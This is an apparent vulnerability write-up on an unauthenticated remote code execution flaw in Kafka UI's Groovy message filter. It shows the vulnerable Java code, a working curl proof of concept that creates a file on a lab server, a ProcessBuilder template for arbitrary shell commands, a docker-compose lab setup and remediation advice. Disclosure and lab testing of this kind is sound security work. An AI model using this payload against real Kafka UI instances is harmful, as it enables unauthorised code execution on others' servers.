Overview
Kafka UI is a nice web front-end that provides a fast and lightweight web UI for managing Apache Kafka® clusters developed by provectus.
At the time of the assessment, version 0.7.1 was affected by a remote code execution vulnerability that had been disclosed to Provectus on September 27, 2023 but was not yet patched.
The vulnerability can be exploited via the q parameter at /api/clusters/local/topics/{topic}/messages endpoint which allows the user to define a Groovy script filter. There is no sanitation of the groovy script filter before it is executed. This allows an attacker to execute arbitrary code on the server.
The vulnerable code can be found in the function groovyScriptFilter:
static Predicate<TopicMessageDTO> groovyScriptFilter(String script) {
var engine = getGroovyEngine();
var compiledScript = compileScript(engine, script);
var jsonSlurper = new JsonSlurper();
return new Predicate<TopicMessageDTO>() {
@SneakyThrows
@Override
public boolean test(TopicMessageDTO msg) {
var bindings = engine.createBindings();
bindings.put("partition", msg.getPartition());
bindings.put("offset", msg.getOffset());
bindings.put("timestampMs", msg.getTimestamp().toInstant().toEpochMilli());
bindings.put("keyAsText", msg.getKey());
bindings.put("valueAsText", msg.getContent());
bindings.put("headers", msg.getHeaders());
bindings.put("key", parseToJsonOrReturnAsIs(jsonSlurper, msg.getKey()));
bindings.put("value", parseToJsonOrReturnAsIs(jsonSlurper, msg.getContent()));
var result = compiledScript.eval(bindings); <==== vulnerable code
if (result instanceof Boolean) {
return (Boolean) result;
} else {
throw new ValidationException(
"Unexpected script result: %s, Boolean should be returned instead".formatted(result));
}
}
};
}
The vulnerability can be exercised with the request below:
We are using a Groovy OS execution code snippet "touch /tmp/cuckoo".execute(); to test the vulnerability.
You need an active Kafka cluster, in this case our cluster is named local and a topic (cuckoo) which you can create if there are no topics.
curl 'http://192.168.201.25:8080/api/clusters/local/topics/cuckoo/messages?q=%22touch%20%2Ftmp%2Fcuckoo%22.execute()&filterQueryType=GROOVY_SCRIPT&attempt=4&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING'
/tmp $ ls -l
total 4
-rw-r--r-- 1 kafkaui kafkaui 0 Jan 24 16:26 cuckoo
drwxr-xr-x 2 kafkaui kafkaui 4096 Jan 24 16:25 hsperfdata_kafkaui
/tmp $
This confirms that user-controlled Groovy code reaches the vulnerable execution path. And without any authentication!!!
If you want to make a more complex system command, you should not use "my commandline".execute() because it can not handle unix pipe |, redirection > and command chaining with ;.
You better use some Groovy scripting along the lines like below:
"Process p=new ProcessBuilder(\"sh\",\"-c\",\"<my complex cmd_line>\").redirectErrorStream(true).start()"
If you want to play around with this vulnerability, just follow the steps below to install a vulnerable Kafka-ui instance with an active Kafka cluster.
Installation steps to install Kafka ui
- Install
Dockeron your preferred platform. - Here are the installation instructions for Docker Desktop on MacOS.
- Create a empty directory (
kafka-ui). - Create the following
docker-compose.yamlfile in the directory. This will automatically create a Kafka cluster with Kafka-ui. You can modify thev0.7.0in theyamlfile to pull different versions.
version: '2'
networks:
rmoff_kafka:
name: rmoff_kafka
services:
zookeeper:
image: confluentinc/cp-zookeeper:latest
container_name: zookeeper
networks:
- rmoff_kafka
environment:
ZOOKEEPER_CLIENT_PORT: 2181
ZOOKEEPER_TICK_TIME: 2000
ports:
- 22181:2181
kafka:
image: confluentinc/cp-kafka:latest
container_name: kafka
networks:
- rmoff_kafka
depends_on:
- zookeeper
ports:
- 29092:9092
environment:
KAFKA_BROKER_ID: 1
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
kafka-ui:
container_name: kafka-ui
image: provectuslabs/kafka-ui:v0.7.0
networks:
- rmoff_kafka
ports:
- 8080:8080
depends_on:
- kafka
- zookeeper
environment:
KAFKA_CLUSTERS_0_NAME: local
KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092
KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181
KAFKA_BROKERCONNECT: kafka:9092
DYNAMIC_CONFIG_ENABLED: 'true'
KAFKA_CLUSTERS_0_METRICS_PORT: 9997
- Run following command
docker-compose up -dto install and run the Kafka ui and cluster environment. - Your Kafka ui should be accessible on
http://localhost:8080with an active Kafka cluster running. - You can bring down the environment for a fresh start with the command
docker-compose down --volumes.
You are now ready to test the vulnerability.
I developed a Metasploit module that automates the exploitation workflow. You can find the module here in my local repository or as PR 18700 at Metasploit GitHub development.
Remediation
Kafka-ui versions between v0.4.0 - v0.7.1 are vulnerable and there is no fix.
There is no outlook yet when it will be fixed, so do not use a default installation which has no authentication enabled.
It is strongly advised to configure Kafka-ui with basic authentication.